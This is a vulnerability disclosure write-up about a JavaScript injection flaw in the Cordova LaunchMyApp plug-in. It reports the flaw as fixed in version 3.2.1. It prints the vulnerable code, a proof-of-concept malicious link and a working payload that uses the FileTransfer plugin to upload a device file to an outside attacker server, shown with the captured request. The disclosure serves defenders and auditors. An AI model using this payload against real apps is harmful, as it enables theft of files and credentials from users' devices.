Cordova LaunchMyApp Plug-in Remote JavaScript Injection
The Cordova mobile application development framework does not support launching a mobile application via a custom URI scheme, such as someurischeme://pathhere/?param=somedata
, out of the box on all of its supported platforms, which is somewhat surprising for a cross-platform mobile framework. Notably missing is support for custom URI schemes in the Android version of the framework, although custom URI schemes are supported by the iOS version of the framework. This has driven developers using the Cordova framework to either develop their own custom Cordova plug-ins to add support for this IPC mechanism or use an open-source 3rd party Cordova plug-in. One of the most popular 3rd party plug-ins with over 30k downloads named LaunchMyApp, or Custom URL Scheme, solves this problem well. I identified that multiple versions of this plug-in suffer from a JavaScript injection vulnerability that is trivial to exploit remotely. The main author of the plug-in quickly remediated the issue in version 3.2.1 by escaping the untrusted input.
If we inspect the LaunchMyApp’s onNewIntent
function, then it use to look like the following. Essentially, data from the Intent is used directly to build JavaScript code that is sent to the CordovaWebView, which has access to native functionality via a JavaScript bridge, using the loadUrl
function. No input validation or escaping occurs, therefore applications using this plug-in are vulnerable to JavaScript injection attacks.
public void onNewIntent(Intent intent) { final String intentString = intent.getDataString(); if (intent.getDataString() != null) { intent.setData(null); webView.loadUrl("javascript:handleOpenURL('" + intentString + "');"); } }
Triggering the vulnerability is pretty straightforward; assume that the Cordova based application defines the someurischeme
URI scheme. The scheme name used can be determined by reviewing the AndroidManifest.xml
file, which would include an intent-filter
element under the main activity element that looks like the following XML code.
<intent-filter> <data android:scheme="someurischeme" /> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> </intent-filter>
Given that the vulnerability is associated with the onNewIntent
function, either the target activity must have the launchMode attribute set to singleTop
, which can also be checked by reviewing the AndroidManifest.xml
file, or the client application used the FLAG_ACTIVITY_SINGLE_TOP flag when starting the activity. Convenient for us, the launchMode
attribute was set to singleTop
by default in Cordova 3.5 to address issue CB-6048 so that “tapping app icon does not always restart app", and in earlier versions developers often altered the launchMode
attribute to singleTop
by directly altering the manifest file. This also means that the target application must already be running in the background to trigger the vulnerability, which isn’t a major concern since most users don’t forcefully close mobile applications after use.
Assume that the prerequisites are met and the victim is tricked into clicking the following link in the Android mobile browser after visiting a malicious website. Note that in practice a hidden iframe would work better.
<a href="someurischeme://abc'*setTimeout('alert(5)',2000)*'abc">click me</a>
An intent is sent from the mobile browser to the target Cordova application and then the following URL is loaded by the WebView component via the loadUrl
function. Note the injected setTimeout
function.
javascript:handleOpenURL('someurischeme://abc'*setTimeout('alert(5)',2000)*'abc');
A more realistic exploit would involve injecting in JavaScript code that actually uses Cordova APIs in order to (ab)use native device functionality, such as the following example that uses the FileTransfer plugin, assuming it exists in the target Cordova application, to exfiltrate potentially sensitive files off of the mobile device. The example exploit simply uploads the /mnt/sdcard/secret.txt
file to http://d3adend.org/c.php, but this technique could be used to steal other files such as SQLite database files, or shared preference files, that may contain stored credentials or authentication tokens.
<a href="someurischeme://abc'*setTimeout("var fileURL='cdvfile://localhost/persistent/secret.txt';var options = new FileUploadOptions();options.fileKey = 'file';options.fileName = fileURL.substr(fileURL.lastIndexOf('/') + 1);options.mimeType = 'text/plain';var ft = new FileTransfer();ft.upload(fileURL,encodeURI('http://d3adend.org/c.php'),function(r){alert('success:'+r);},function(e){alert('error:'+e);},options); ",2000)*'abc">click me</a>
If we configure the mobile device to use a web proxy, then we can see the vulnerable application make the HTTP POST request to the attacker’s server with the contents of the secret.txt
file. While this exploit assumes that the target application uses the FileTransfer plug-in, which is fairly common, if the target application is utilizing a version of Cordova prior to 3.4, then the default JavaScript bridge mode is implemented using the addJavascriptInterface
function as opposed to URL hooking, thus making the vulnerability more severe and exploitation easier.
POST /c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=+++++ User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.0.4; HTC One X Build/IMM76D) Host: d3adend.org Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 132 --+++++ Content-Disposition: form-data; name="file"; filename="secret.txt" Content-Type: text/plain ThisIsASecret --+++++--
This specific vulnerability only exists in version 3.1.1 and 3.2.0 of the plug-in. One of the first steps of evaluating the security of a Cordova based mobile application should involve cataloging the plug-ins used. Luckily, this is simple to do since you can open up the cordova_plugins.js
file stored within assets/www
directory in the APK and review the module.exports.metadata
variable. In this case, this application uses version 3.2.0 of the nl.x-services.plugins.launchmyapp
plug-in, which is vulnerable.
module.exports.metadata = // TOP OF METADATA { "nl.x-services.plugins.launchmyapp": "3.2.0", "org.apache.cordova.file": "1.3.0", "org.apache.cordova.file-transfer": "0.4.7" }